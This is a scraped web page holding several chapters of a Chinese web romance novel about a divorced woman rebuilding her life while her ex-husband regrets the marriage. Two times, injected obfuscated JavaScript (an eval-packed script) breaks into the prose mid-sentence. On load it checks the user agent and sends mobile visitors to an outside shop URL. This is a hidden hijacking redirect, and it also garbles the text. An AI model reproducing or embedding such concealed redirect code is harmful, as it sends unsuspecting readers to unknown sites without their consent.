他不知道许满会想什么,会怎么做。 许满离开他是对的。 他的忽视,他的不爱,他的不在意,现在连他自己都觉得,是如此的明目张胆。 平行线回归到各自的轨迹上了,不会再相交,更不会再重合,虽然不甘心,不想承认,但他和许满,就是结束了。 用这种意想不到又无可奈何的方式。 天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427785|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑了,路灯一个个亮起来。 骆亦迟重新发动车子。 他不想回家,但又不知道该去哪里。 不想回老宅面对杜曼玲的哭诉和骆彦怀的质问,也不想去池柠那里,因为许满不喜欢。 可笑,许满在的时候,他从不在意许满喜不喜欢。 现在他和许满没有关系了,反倒在意起许满的想法来。 天彻底黑透的时候,骆亦迟回到了市中心的家。 一进门,漆黑一片。 按下开关,明亮的灯光映照在这个空荡荡的房子里,每走一步,仿佛都听见空旷的回响。 他觉得孤独,像个走在沙漠上,内心渴望水源的旅者。 在今天之前,他回家,还期盼家里有个人在满怀期待的等着他,听见他开门进来,迎上来,开心的说,你回来了。 而从今天起,这个可能再也不会发生了。 骆亦迟拖沓着脚步进了卧室,关上门,把自己藏在这个狭小的空间里,迫切的想从这个他和许满曾经共同生活的空间里寻找到一丝安慰。 他躺在床上,手心摸在许满躺过的那一侧,那里触手冰凉,告诉他,已经一个月没人躺过了。 他就这样呆呆的望着天花板,手掌覆在那里,感受着冰凉的温度。 在每一个晚归的夜,许满也是这样等他吗? 在每一个因为争吵而愤怒离去的夜,许满也是摸着这里,从温暖到冰凉吗? 骆亦迟不知道,也从来没有想过。 但这份冰凉让他难过,让他愧悔。 他没有勇气面对,也没有勇气回忆,拿过旁边的枕头盖住眼睛,仿佛看不见,就不会觉得寂寞寒冷。 他任由自己沉浸在这样的情绪里。 不经意间,脸颊痒痒的触感将他捞回。 他伸手摸了一下,什么都没摸到,可是当手掌在灯下划过时,一个极不起眼的东西,就这样,跌进他的眼睛里,让他乱了呼吸。 许满没给他留下任何值得思念的东西,除了一个戒指,几瓶枯败的花,留给他的,只有一室冰冷。 现在,又多了一根头发,细细长长的。 濒死的旅者终于找到水源,迫切的饮了上去。 骆亦迟捏着那根头发,在灯下看了好久。 直到,眼眶泛起热意。 许满,自从那天你出院后,就再也没跟我说过话了。 这往后,我们再也说不着了。 连见一面的机会也很渺茫了。 你告诉我,我错在哪里了? 告诉我,我一定改。 我改了你就回来,好不好? 我想你。 真的想你。 我从不知道,原来我会这样想你…… 心底里从不在意的某个地方,思念悄然破土,抽枝发芽,在骆亦迟溃不成军的情绪里肆意疯长,洪水一样,铺天盖地的,将他淹没得彻底。 他从不知道原来可以这样想念一个人。 他视若珍宝的将那根头发攥在手心,然后学着许满,拉过被子,缓缓地,将自己蒙住。 泪水无声自眼角滑落,此时此刻,他感到从未有过的孤独和挫败。 他的命运从来不由自己。 想爱时不能爱,想选时没得选。 等错过了,失去了,又后悔。 后悔当初视而不见,后悔当初没有珍惜。 他唾弃这样的自己,无能,无力,也痛恨这样的自己。 他想改变,想挣脱这无形的枷锁,想自己亲手主导这被人左右的生活,想去追逐那个人。 可是,该怎么做才行? . 嘟——嘟—— 电话打了第二遍,对面才接通。 “喂?哪位?” 一个冷淡又不耐烦的女生接起电话。 “是我,骆亦迟……” “你好,骆先生。” “我……”骆亦迟还没准备好话术,不知道该怎么说。 “骆先生,我不追究你深夜打扰一个单身女性休息是出于什么目的,但我要说的是,我和您之间的联系仅限于许满女士,而自从你们双方都在离婚协议上签过字以后,案件已经宣告结束,我跟许女士已经一个多月没有联系了。” 骆亦迟无助的捏了捏眉心,有些难以启齿。 “林律师你不用紧张,我打这个电话来,只是想问问你,许满有没有话想转告我?” 电话那边是良久的沉默。 就在骆亦迟以为林逸不会回答,想说“算了”的时候,那边开口了。 “感谢骆先生您的提醒,许女士确实有句话让我转告您。” 骆亦迟一口气提到了嗓子眼。 林逸说:“她说,您都已经让她净身出户了,甚至离婚都不愿意亲自到场,那您还找她做什么呢?” 好不容易提起的那口气,在这句话落下的一瞬间,泄了大半。 原来许满在他这里什么都没得到。 那确实对他没什么好留恋的。 电话里传出不平稳的电流声,骆亦迟抿紧嘴唇,抬头望向窗外黑沉不见星月的天空。 他不知道该说些什么了。 要解释吗? 但那很难。 可是还是不想放弃。 他好不容易想到了不动声色找寻许满的方法,就算希望渺茫,他也要尽力一试。 手心沁出细细的汗,骆亦迟把手机从左手换到右手,用恳求的,低声下气的口吻说:“既然许满不愿意见我,那林律师你……你能帮我带句话吗?” 林逸没有回答。 骆亦迟单方面的认为林逸是在等他,话都不带喘的接着说:“很遗憾我失去了陪伴她一生的权利,从今以后,希望她找到真正的幸福,过上想要的生活。” “还有……” 他慢慢说着。 “我给她准备了一份礼物。” “不管我们曾经什么关系,请她无论如何,收下这份礼物。” “就当是……” “就当是我给她准备的再婚贺礼吧。” 17. 第 17 章 许满最近的日子过得简单又充实。 每天早上六点,她准时起床,先绕着村子跑一圈,再赶个早集买点菜,回来叮叮咣咣做一顿早饭,吃完饭,打扫打扫卫生,再侍弄侍弄花草,做好这一切,许晋文出去打工,她坐在窗下,听着鸟语,闻着花香,安静的看书学习。 看的是园林专业的考研书籍。 回到流云湾村已近两个月,起先许晋文还嘟囔许满,怪她主意太大,离婚这么大的事儿都不跟他商量一下,就稀里糊涂的离了,结婚这才一年,村里人是会胡乱揣测说闲话的。 许满无所谓,闲话再难听,又传不到她耳朵里。 但许晋文不认同。 他本身就对这便宜女婿和便宜亲家不满,结婚到现在,门没登过就算了,电话也没打来过一次,分明就是看不起他们!他敢赌,他老许家的门朝哪边开,这女婿和亲家压根就不知道! 但不满归不满,女儿该心疼还是要心疼的。 看许满天天这种云淡风轻满不在乎的样子,许晋文就好奇了。 他问许满,“是不是去年那次流产伤到身体,被婆家嫌弃,让他们给欺负了?不然为什么我以前那么爱笑一姑娘,现在几乎都不怎么笑了。” 许满便笑笑,看着蓝天白云,轻描淡写的回答:“没有,没被欺负,没被出轨,也没被家暴,流产是意外,讨厌他们,不想过,所以离了,没别的理由,爸你别乱猜。” 细节上不多解释一句。 不管许晋文问多少次,许满都这样回答。 日子久了,许晋文见许满态度坚决,每天的生活都安排得井井有条满满当当,便把疑问都埋在心里,慢慢不再问了。 一天上午,许满像往常一样在院子里看书,听到门外有人叫她:“许满,有快递!” 许满放下书本,打开院门,快递员递给她一个文件袋。 许满疑惑:“我最近没买东西。” 快递员:“是流云湾村68号吧?” 许满点头:“是。” 快递员:“那就没错。” 说完,骑着小电瓶一溜烟跑远了。 许满一头问号愣在原地,核对过快递面单上的收件人和地址,确定是自己没错,这才拿着快递回到院子。 文件袋里有东西晃来晃去,许满狐疑的拆开,看见一张银行卡安静躺在里面。 她将卡片拿出来,正反面确认了一遍,得出结论:这是张她不认识的储蓄卡。 不是自己的东西,许满不敢乱动,把那张银行卡放在窗台上,想着等快递员再来的时候,把它交回给快递员,然后就去忙你自己的了。 这件事本没放在心上,直到下午太阳快落山的时候,林逸给她打来电话,问她:“快递收到了吗?” 许满这才明白,“原来那张银行卡是你寄的啊。” 林逸:“是我寄给你的没错,但卡不是我的,我只是个转寄人。” 许满:“怎么说?” 林逸:“是你前夫让我给你的。” 许满:“……” 还没人对许满说过“前夫”二字,许满诈一听,还有些不适应。 林逸:“我一直对骆先生让你净身出户这件事耿耿于怀,后来一个深夜他联系我,让我把这张银行卡交给你,我才勉强刷新一点对他的认知,他在我心里的印象才没那么糟糕。” 林逸:“他说,卡密你知道。” 骆亦迟所有的银行卡都共用一个密码,这许满是知道的。 “除了这张卡,他还有句话让我带给你。”林逸顿了顿,“他说,他很遗憾失去了你。” 林逸将那天晚上骆亦迟说的话一五一十传达给许满,许满听完,没有任何动容。 每一个成年人都应该知道一句至理名言:迟到的深情比草贱。 都已经离成了,为什么还要这么做,是想补偿她吗? 她不需要补偿,她只需要,他的不打扰就好了。 许满:“我知道了,谢谢你林律师。我前夫在我这里已经是黑名单永不见天日的状态,如果他再托你联系我,林律师,麻烦你直接帮我回绝吧。” 她真的,不想跟骆亦迟再有任何瓜葛了。 挂上电话,许满戴上头盔骑上电瓶车去镇上买菜。 临出门,暼见窗台上的银行卡,停下车子,又折回去把它拿上。 电瓶车骑个十来分钟,就能到最近的一家菜市场。 菜市场旁有台老旧的ATM机,许满把车停在路旁,拿上银行卡去了ATM机前。 卡片插上去,许满输入印象中的那个密码。 卡片读取…… 等待…… 十秒钟后,读取成功。 查询。 老旧的ATM机联网很慢,又是十几秒,查询才返回结果。 1,000,000元。 “呵。” 许满冷笑了一下。 一百万,骆家公司给骆亦迟开出的税后年薪。 许满不想知道骆亦迟这是什么意思,没做他想,退出银行卡,转身去菜市场买菜了。 回到家,她把银行卡随手塞进床头柜的抽屉里,继续过自己按部就班的小日子。 做饭,洗碗,照顾爸爸,然后看书,学习,洗漱,睡觉。 她喜欢这样平静的生活。 简单的人际关系,恰到好处的忙碌,不用一个人待在家里胡思乱想,不需要费尽心思去讨好谁,更没有三天两头的争吵。 日子一天天过,秋天的时候,许满报名参加了研究生考试。 许晋文本想让许她去相亲,老这么在家待着不是个事儿,或者去找个工作,挣点钱补贴补贴家用,顺便给自己攒点嫁妆,因为光靠他一个人打零工,实在无法让他们这个两口之家过得更好。 但上研究生是许满一直以来的心愿。 她知道许晋文在担心什么,劝说许晋文:“要是隔壁张姨再跟你打听我的事儿呢,你就实话告诉张姨,就说,对,就是她想的那样,我结了个婚又离了。她要是想帮我介绍对象呢,你就让她介绍几个条件好的,不过先说好啊,我要头婚的,适龄的,长得瘦高好看不秃顶,工作稳定有前途的,爸你先帮我把把关,不符合条件的都先帮我拒了。” “至于找工作这事儿……”许满认真道,“我会努力拿到奖学金的,考上了也会去申请助学贷款,笔试一过我就去赚钱,学费这事儿不用你管,你只管照顾好自己,别太劳累,也别让我操心就行了。” 许满向来说一不二,做了决定不会轻易改变,许晋文果然把许满的话通过邻居间接传达给了张姨,张姨听说了,瘪着嘴:“二婚还提这么多要求,真当自己是值钱货了。” 许满听了,笑笑,当一阵风吹过,继续埋头读书。 十二月底,许满参加了笔试。 第二年过完年,笔试成绩出来,许满发挥得不错,成绩虽然没有第一年好,但还是顺利通过了,考了个不上不下的位置。 查出成绩的时候,许满正在镇上摆摊卖花——她种的那些花都长得很好,笔试完又跟着几个大V博主学习鲜花搭配和包装的知识,把开得好的花包装成时下热门的款式,骑着小电驴拖着箱子,顶着冬日的寒风,不是去学校,就是去商场,流窜在各个人流量大的地方卖花。 赚钱了,但不多,够她日常开销。 天冷,许晋文认为卖花这活儿辛苦,赚得也少,只有在情人节或者是母亲节,这类具有特殊意义的节日里,收入才看得过去,十分吃力不讨好,劝许满还是安心找个班上,起码稳定不受罪。 但是许满就是喜欢,也就没把许晋文的话放在心上,乐此不疲的继续卖花。 开春渐渐回暖的时候,许满通过了研究生复试。 学校公布录取结果,笔试和面试成绩按比例相加,许满还意外的卡上了一个奖学金末尾的位置。 许晋文知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14437829|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道后,终于不再嘟囔许满找工作的事儿,而且劝她早点准备入学需要的东西,还顺便在出门溜达的时候,听到隔壁张姨在情报中心散播的许满对再婚对象要求的八卦,一个接一个的怼了回去。 不久之后,录取通知书寄到了家。 九月份,许满拿着通知书去报道,重新回归校园,成为了一名学生。 开学后,许满整日泡在课题里,两耳不闻窗外事,一心只读圣贤书。 导师见许满是个做研究的好苗子,在研一快结束的时候,提出建议让她读博。 许满思考了几个晚上,最后听取导师建议,在研二时,向导师递交了转博申请。 为了转博能够顺利,许满天天披星戴月早出晚归,在实验室里待的时间越来越久。 求学之路单调枯燥,除了导师和同学,她几乎没交到什么朋友。 如此换来研二下学期的转博成功。 研三那年,许满开启了读博之路,变得更加忙碌,没有多少时间回家。 除了要搞研究做课题写论文,导师还给她安排了一份代课的工作,让她除了博士补贴之外,还能赚点小外快。 这意味着闲暇之余,许满还得重新拿起本科生的课本,备课做PPT。 幸好许满并不排斥这样的生活。 博士第二年夏天,导师有事要去西南考察一个月,许满上传完本科生的期末成绩,得空回了一趟家。 上次见许晋文还是过年的时候,这才过了半年,许满就发现,许晋文的背好像驼了些,人也干瘦了不少,衣服穿进去晃晃荡荡的,跟个细麻杆一样。 就像院子里被冷落的花,因为缺乏悉心照料,消瘦枯萎了许多。 许晋文说他在村子里找了个好工作。 有开发商看上了流云湾这个好地方,把村子旁边那块八九百亩的荒地买了,借着流云湾依山傍水的好风光,和村民淳朴的民风,要开发一个大型的旅游度假村。 开发商为了和村民搞好关系,跟村干部商议,可以解决一部分村民的就业问题。 许晋文借着这个机会自荐,开发商发善心要了他,但因为年纪大,只被安排做一些搬运打扫之类的细碎杂活。 变故发生在许满在家这段时间。 八月份的天,暑气正盛,太阳才刚冒出个头,就已经蓄力炙烤大地,气象台更是一早就发布了红色高温预警。 许满早上醒来看见预警,劝说许晋文,天这么热,要不这几天在家歇歇,等天没那么热了再去工作。 许晋文摆摆手,“哪儿能歇哟,那么多人盯着呢,一歇把活儿给歇没了。” 然后不顾劝说,拎着工作服出门上班去了。 这天中午,工人们吃完午饭,喝了解暑的绿豆汤,回去等下午三四点太阳没那么毒辣的时候再出来干活。 许晋文等大家都吃完饭,戴上宽檐帽子,拿起扫帚,打扫午餐后留下的一地狼藉。 在度假村工地上打杂的村民不少,每个人负责一片足球场那么大的区域。 许晋文穿着闷不透气的工作服,在自己的区域里顶着太阳认真打扫。 身体粘在工作服里,湿哒哒的。 汗水从下巴滚落,落在地上,瞬间被蒸干。 蝉鸣聒噪,许晋文不知道怎么回事,觉得心慌,恶心,喘不上气,还有些头晕眼花,想休息休息。 抬头望望天,灼灼烈日耀眼刺目,晃得人睁不开眼。 他想遮住这刺眼的阳光,费力的抬起胳膊看着天,只觉得头顶的天像是也经不住烈日灼烧,被烤出了一个黑漆漆的洞,且那洞口还在慢慢扩大,边缘不断向外蔓延…… 耳边的蝉鸣不知什么时候也被拉远,闷闷的,仿佛从另一个时空传来…… “哈……” 干涸苍老的嘴唇微张,发出一声极轻的叹息。 接着,像一根没有筋骨的软面条一样,啪的一声,许晋文摔在了烙铁似的地面上。 18. 第 18 章 许晋文紧急被送去了医院。 本来只是一个中暑,但他身体底子本来就差,再加上常年劳累,很多潜在病症趁机钻出来,这一倒,就一直没有醒来。 许满急匆匆从家里赶过来,医生告诉她,情况不乐观,又连夜送去了市里的大医院。 许满陪昏迷的许晋文做了很多检查,检查结果一个个出来,没一个是好的,最后眼睁睁看医生推着病床,把许晋文推进了重症监护室里。 她被挡在门外。 妈妈去世时,许满还没记事,不知道发生过什么。 奶奶去世时,许满正上着忙碌的高三,没人通知她,等她周末回到家,奶奶已经完成了葬礼,黑白遗照挂在墙上,目光慈蔼的看向她。 现在,许晋文躺在病房里。 一门之隔,许满不知道接下来要面对什么。 她无助的贴在监护室厚重大门的玻璃上,望着床上瘦小的老头,戴着呼吸机,只露出半个手掌宽的黝黑皮肤。 她强迫自己冷静,不要乱了阵脚。 然后,在医生把帘子拉上之后,转身,想办法去筹钱。 重症监护室一天要花一万多,医保也报不了多少,许满搜罗了家里所有的存折,许晋文这几年靠打工攒下来的钱,和她自己读博期间的补贴和奖金,能凑到的,全都充进了医院账户里。 她向导师告了假,导师准许她等爸爸身体好转了再来学校,还号召同学师生给她捐了一些钱。 二十多天过去,许晋文没醒,一直这么不好不坏的躺着,每天靠输液打点滴维持生命。 医院账户里的钱很快见了底,许满去找亲戚邻居借,但亲戚邻居担心他们一家的还钱能力,只借了很少的给她。 无奈之下,许满去找开发商,开发商表明会付医药费,但是不垫付,得出院后拿着病历发票这些证明文件,才会全额赔付医保报销之后的剩余部分。 他们拿走了她手里现有的发票和病例证明,让她回去等。 许满不知道要等多久,深夜,她坐在花朵枯败的院子里想办法,医院一个电话打了过来。 许晋文突然恶化了,医生建议使用进口仪器,上进口药物。 许满哭着请求医生,千万帮她保住爸爸。 保住可以,但是要钱呐。 蝉鸣蛙叫的夜晚,星月都躲起来不见人,许满无助的望着漆黑的天空,向上天祷告,向已故的奶奶妈妈请求,一定帮她留住爸爸。 她不想失去爸爸,可是,她真的不知道该怎么办。 她捂着脸小声哭泣,呜咽声混杂在蛙叫里,分不清哪个是她的。 一直等到哭够了,她擦擦脸,重新振作起来,回到屋里,去许晋文的卧室里翻找,看有没有遗漏的存折。 她翻了很久,不知道翻到哪个抽屉时,忽然想起,她还有一张存款百万的银行卡。 许满不带犹豫冲回自己卧室,拉开床头柜的抽屉,拨开一堆废旧的考研资料,看到了贴在抽屉最里侧的银行卡。 仿佛救命稻草一样,她紧紧抓住那张银行卡,坐在地上,嚎啕大哭了出来。 许晋文用上了进口药物和仪器。 隔天,主治医生通知许满,全国著名的神经科专家突访医院,鉴于许晋文神经方面受损最为严重,院方会安排专家给他诊治。 许满感激不尽。 专家会诊第四天,许晋文病情得到好转,悠悠转醒,稳定后转到了普通病房。 许满紧绷的神经终于有时间放松下来,她握住许晋文干枯的手,望着他浑浊的双眼,鼓励他:“爸,会好起来的,会好起来的。” 许晋文积极配合治疗,很快出院了。 他的身体已经不允许再外出打工,许满跟他商量,替他把度假村的工作辞了,拿着赔偿款,在学校旁边租了个小单间,把许晋文接过来,一边读博,一边照顾他。 大病一场,许晋文的思维变得迟缓了很多,记忆也跟着下降,每次许满结束课题回到出租屋,许晋文总要看她很久,才会把她认出来。 在许满又一个晚归的夜,许晋文吃完饭,慢吞吞的放下碗,费劲的跟许满说:“我想去,康复医院,住。” 许满正在分药,现在的许晋文,每天要吃很多药,但是又没有足够的能力记住该吃哪种,吃几颗,所以不管多晚,她都会风雨无阻的回来,帮他把第二天的药分类准备好。 许满没有抬头:“爸,能告诉我为什么想去康复医院吗?” 许晋文佝偻着背,抬起浑浊模糊的双眼,怯怯望着许满清瘦憔悴的背影,努力把舌头捋直,尽力咬字清晰的慢慢说:“赔偿款,也够我,在那里住几年的。” “你天天,那么晚回来,我一个人……” “也没人说话。” “出门哪儿都,不认识,不敢出门。” “村里老赵,说那里,挺好的。” 老赵是之前经常和许晋文一起外出打工的工友,去年年初脑梗之后一半身子瘫了,儿女征求他意见之后,把他送进了康复医院。 许晋文没出事之前,去探望过老赵几次,见他整天乐呵呵的,精神面貌不比脑梗之前差,还调侃他是去里面享福了。 许满说:“行吧,爸,我看看。” 经过多方面的打听和咨询,许满确认老赵所在的康复医院还不错,趁假期回了趟家,把许晋文送了进去。 不用每天再分出精力去照顾许晋文,许满又恢复到以前那样的生活,搞研究做课题,写论文发论文,给本科生上课,但只要一有时间,她就会回家,去康复医院看望许晋文。 就这样过了一年,许满读完博二,上了博三。 她不打算继续深造了,趁早规划了博三的学习和生活,争取按时毕业,找到工作。 高校每年都会进行人才引进和招聘,许满早早留意各大学校的招聘政策,积极准备,向老师学长找经验,在学校政策发布的时候,第一时间向几所目标学校投去了简历。 也许是她读博期间努力的成果不错,简历投过去,中意的几所学校都给了回应,向她抛出了橄榄枝。 经过斟酌比较,许满筛掉离家远的,在连城的两所大学里对比,最后选择了待遇和前途相对来说比较好的一所一本大学——连城大学。 六月份的毕业季,有人为了不能毕业而焦躁发愁,有人为了找到心仪工作而喜笑颜开,许满穿着博士服,一手拿着毕业证,一手拿着offer,向五年来给予她极大帮助的导师挥泪告别。 许满拖着行李回了流云湾。 学校要等到九月份才能入职,不用再为了学业而整日忙碌,许满紧绷的生活得以喘一口气,趁着闲暇,将这个荒凉冷清的家重新拾整了起来。 她给花坛重新翻了土,又去花鸟市场买了花盆肥料和鲜花绿植,把家里现种的,和从山里新采的都分类种下,将院墙里外楼上楼下都打理得热热闹闹红红绿绿,还把许晋文从康复医院里接回来,自己亲自照顾。 经过在康复医院一年多的治疗,许晋文恢复得不错,虽然现在说话依旧费劲,但是已经能够表达出自己的需求,还能记得许满,不需要将她认好久才认出来,而且还知道自己的女儿是个博士,一跟老赵聊 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“许满老师,你不记得我了?我是梁桓宇呀,去年冬天你代过我们的理论课,好像叫什么景观生态与保护,我一直缺课,你还让我低分过了,我很感激你呢,一直想找机会跟你说谢谢。” “……” 景观生态与保护,大三的课程。 去年冬天确实有那么一段时间许满在代这个课,但是经常缺课的人,她怎么会记得长什么样子? 许满摆出虚假的微笑:“经常缺课都还记得我,梁桓宇同学,你记性真好。” “嗐,我这不是觉得那堂课没有上的必要吗?” 梁桓宇很自来熟的朝许满走过来,隔着一个人的距离,坐在长凳另一侧上。 “是许满老师你长得好看,所以我才印象深刻。” 如果一个大学老师长得好看,好看到让人过目不忘,那么她的课不管多无聊,学生大概率都不会缺席。 读博期间许满可以说没打扮过,整日不是扎个低马尾,就是披散着头发,素面朝天的来来去去,整个一资深科研女的形象,不至于不修边幅,但距离好看还是有一段距离,课堂上学生更是没有一次全员到齐过。 所以梁桓宇这句恭维,她不敢认同,只当是不正经的调侃,不想再继续交谈下去,把头转开,继续就着水吃面包。 “不相信吗?”梁桓宇打量着现在赏心悦目的许满,回忆起第一堂课时她的装扮,比划道,“那时候,老师给我一种,淳朴又博学的印象,像是……怎么说呢,对,陶瓷素胚一样,不着修饰,不像现在,略施粉黛,令人耳目一新。” 就是天然土呗,许满心说。 “许满老师来这里旅游?” “嗯,参观参观。” “这么热的天……” “错峰,人少,不拥挤。” 梁桓宇故作失望道:“啊,这样啊,我还以为老师跟我一样,家也在学校里呢。” 许满没有跟梁桓宇聊天的兴致,吃完了面包,准备离开。 “梁桓宇同学,我还有事,就先走了。” 说罢站起来。 “哎,许满老师……” 许满一起身,梁桓宇也跟着站起来。 “还有事?”许满问。 梁桓宇把网拍甩到肩上,头一歪,露出一个八颗牙齿的标准微笑。 “没事,就是想提醒老师,天热,早点回去。” 19. 第 19 章 一个小时之后,许满参观完了学院。 沿着校园的林荫小道往外走,去搭乘地铁坐大巴,回流云湾。 滴滴—— 有车从后方驶来。 许满往旁边挪了挪,踏上路缘石,在人行道上目不斜视继续走。 滴—— 汽车放缓速度,渐渐的追上许满,与她平行。 行驶了一段距离,车轮子快要贴着路缘石了,车里的人忽然摇下车窗。 “嗨,许满老师!” 戴着运动发带的梁桓宇从副驾驶的窗户探出头来。 一股属于空调的凉气扑面而来,许满疑惑驻足,不明白大热天的,这人为什么不待在空调房里凉快,而非要跟着她。 “梁同学,有事?” “没事。” “哦。” 许满抬脚继续往前。 梁桓宇手搭在方向盘上,卖力探着身子朝她喊,“我刚才在学校官网上查过了,许满老师,你刚过了公示期,开学就要来连城大学工作了,今天是办理入职手续的日子,你来这儿,是来办入职手续的。” 许满再次停下脚步,对这种背地里调查人的行为很反感,“你查我?” 梁桓宇嘴角上扬,颇有点沾沾自喜的味道。 “官网有公示,不算查吧。” 许满无语。 晴空万里无云,连一只鸟儿都不曾飞过。 连衣裙贴在出了薄汗的后背上,黏黏的,很不舒服。 许满拿纸巾沾了沾额头上的汗,说:“是,我是来报到的,梁同学,既然我没让你挂科,那么,你追着调查我做什么呢?” “老师你误会了,我就是看天气这么热,担心把老师热坏了,所以想送送老师,老师你住哪里?租房还是住自己家?坐地铁还是公交?” “谢谢你的好意,不过不用了,老师认得路,会自己走。” “啊,我刚刚还想提醒老师,反方向有个小门,离地铁站近一点,穿过大排档走几步路就到了,比正门近,老师,要不要我送你去?” 许满怀疑的看了梁桓宇一眼,掏出手机,点开地图,一看,果然刚才经过了一个小门,于是不情不愿的向梁桓宇道了个谢,把伞举高,抬脚往小门去。 刚走了两步,没注意脚下有一个石子,许满穿着低跟凉鞋的脚踩上去,“啊”的一声,滑倒,把脚给崴了。 “噗——” 梁桓宇笑出了声,光明正大的。 但他很有眼色,在许满投来一记眼刀之前,赶忙从车上下来,把许满扶起来。 “许满老师,你没事吧?” 许满尝试站起来,但脚踝疼的根本站不住。 梁桓宇得逞了:“许满老师,这下,得我送你了吧。” 许满最终上了梁桓宇的车。 年轻人果然血气方刚,车里的冷气打得很足,许满坐了一会儿,就冷得起了鸡皮疙瘩,默默把出风口拨到两边。 梁桓宇注意到她的小动作,“老师冷了吗,需要我把温度调高一点吗?” 嘴上说着,手下却已经开始动作,把温度往上调了七八度。 “许满老师要去哪里?” “回家。” “哦,许满老师家住哪里?” “邻市。” “邻市哪里?” 这人跟查户口似的,许满不乐意回答,“你问那么多做什么?” “许满老师要在这里工作,保不齐以后我们会经常碰见,我想提前了解许满老师,所以问问。” “你多虑了,我想以后我们碰面的机会应该很少。” 梁桓宇笑:“老师还不知道吧,我爸妈是连大的教授,他们鼓励我考这里的研究生,我想万一我运气好,考到了老师名下呢?” “未免你一腔热情错付,作为老师我还是热心提醒你一句,我只是个讲师,只有带本科生的资格,你要是想考研,还是提前规划好,找别的导师吧,免得在我这儿误了前程。好了地铁站到了,我该下车了。” 车挺稳,梁桓宇打开门锁,“老师,先别说丧气话,我看好你,你会成为一个硕导的。” “谢谢你这么看得起我。” 许满的脚差不多回过劲儿来了,虽然还有点疼,但不影响走路。 下了车,正待关上车门,梁桓宇又把身子倾过来,“老师,你家是在流云湾吗?” 许满脸色微微不悦,他又从哪儿查到的? 梁桓宇双眼亮晶晶的,目光示意许满手里的遮阳伞,“你拿的遮阳伞,是流云湾度假村的。” “……” 流云湾度假村去年年底正式竣工,今年年初试运营,邀请流云湾全体村民们作为第一批游客,去里面体验了一番。 村民们吃喝玩乐够了,临走的时候,度假村方还给每个村民送了伴手礼。 许满手里这把遮阳伞,正是伴手礼中的其中一件。 “去那里玩时随便买的而已。”许满说。 一路舟车劳顿,傍晚,许满回到了家。 许晋文询问许满顺利不,许满说,“递交一些材料办理手续而已,哪有什么顺利不顺利的,倒是爸,你吃午饭了吗?” 许晋文卷着舌头说:“吃了。” 等待开学的日子,许满在家也没闲着。 重新移栽的花大部分都活了,欣欣向荣开得正热闹。 许满注册了一个短视频账号,随手拍了几张鲜花的照片,然后加上自己的自拍,编辑了一条文案,发了个图文贴。 ——种自己的花,爱自己的宇宙。 生活正在按照自己设想的那样稳步向前,许满希望未来的日子像这些花一样,一路芬芳,一路向暖。 第一次用短视频平台,许满不熟悉,发送的时候没取消定位,当她意识到定位应该取消的时候,已经是一天后重新打开App,看到私信里躺着一条陌生的问候时。 【许满老师,你果然住在流云湾啊。】 许满眼皮一抖,脸色微动,好家伙,这熟悉的语气,不会是梁桓宇吧。 再定睛一看…… “宇音不绕梁……”许满嘀咕着这个id名字,点进了他的个人主页。 这位名叫宇音不绕梁的网友还是个不大不小的网红,粉丝三十来万,主页里的帖子基本都是唱歌的,偶尔掺杂了几条晒狗的视频,置顶的两条点赞量破百万,后面有直播录屏,有日常拍摄, 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许满家里没人力也没精力,万事只能靠她自己,她把买卖的念头打在了院子里的花上,挑了开得好看的那些,做些修剪和包装,弄成小花束或者小花环,摆在家门口,随缘卖给来往的游客。 暑期天热,度假村为了招揽生意,打出了避暑山庄的名头,特意在景区内搞了戏水项目。 许晋文闲着无聊,看隔壁老刘,对门老王,路边老李,一家家的都做起了小买卖,还都挣上钱了,十分眼热,整天急得口齿不清的嘟囔许满,“别搞那些花了,一天还,卖不出去一朵。赶紧,进点货,也摆,家门口卖,看看,老刘家,老王家,现在天天,大鱼大肉,以前哪吃的,这么好?听说,过年还要,换车呢。” 许满不能认同:“那我上班了,进的货谁来卖?” 许晋文吃力反驳:“那你,你上班了,种的花,也没人照看啊?” 许满沉默:“……” 这样嘟囔了几天,许满为了打发许晋文的无聊时间,终于骑着小电瓶车去镇上的批发市场进了点货,回来在家门口的阴凉处支了张小桌子,把泳衣、水枪、泳镜等一一摆上,随缘做起了小生意。 许晋文没事儿就拄着拐杖坐在桌前盯摊子,有事儿了,就换成许满盯。 一天赚个三块五块的,虽然不如老王老刘他们进账多,但好歹安抚了许晋文眼红的心。 一天早上,许满摆好了摊子,在院墙外修剪花枝,忽闻两声狗叫。 “汪,汪。” 李伯伯家的狗又跑出来了? 许满担心狗在花坛周围乱尿,直起身子驱赶。 谁知刚一抬头,却见梁桓宇身穿宽大白T和黑色运动短裤,手牵一只毛发油亮的大金毛,脚踩朝阳大步流星跑过来,嘴里还喊着:“大黄,大黄,慢点,哎你等等我。” 许满还待确认没眼花认错人,大黄已经跑到花坛边上,头拱在草丛里原地转圈嗅了嗅,接着抬起一条后腿,刷啦啦啦—— 尿了。 “啊,我的花——”许满惊叫,阻止已经来不及。 梁桓宇揉着金毛的头,笑得没心没肺,“许满老师,对不起啊,我会赔的。” 20. 第 20 章 会赔就行。 许满将狗尿浇了的花核算好,点开收款码,给梁桓宇报账:“786元整,不还价。” 梁桓宇掏出手机,“加个微信,给你转账,不然不赔。” “直接扫码付款就行,不用那么麻烦。” “老师你不了解我,我这人就喜欢麻烦,不麻烦这钱就付得没有教训,不长记性。” “…………” 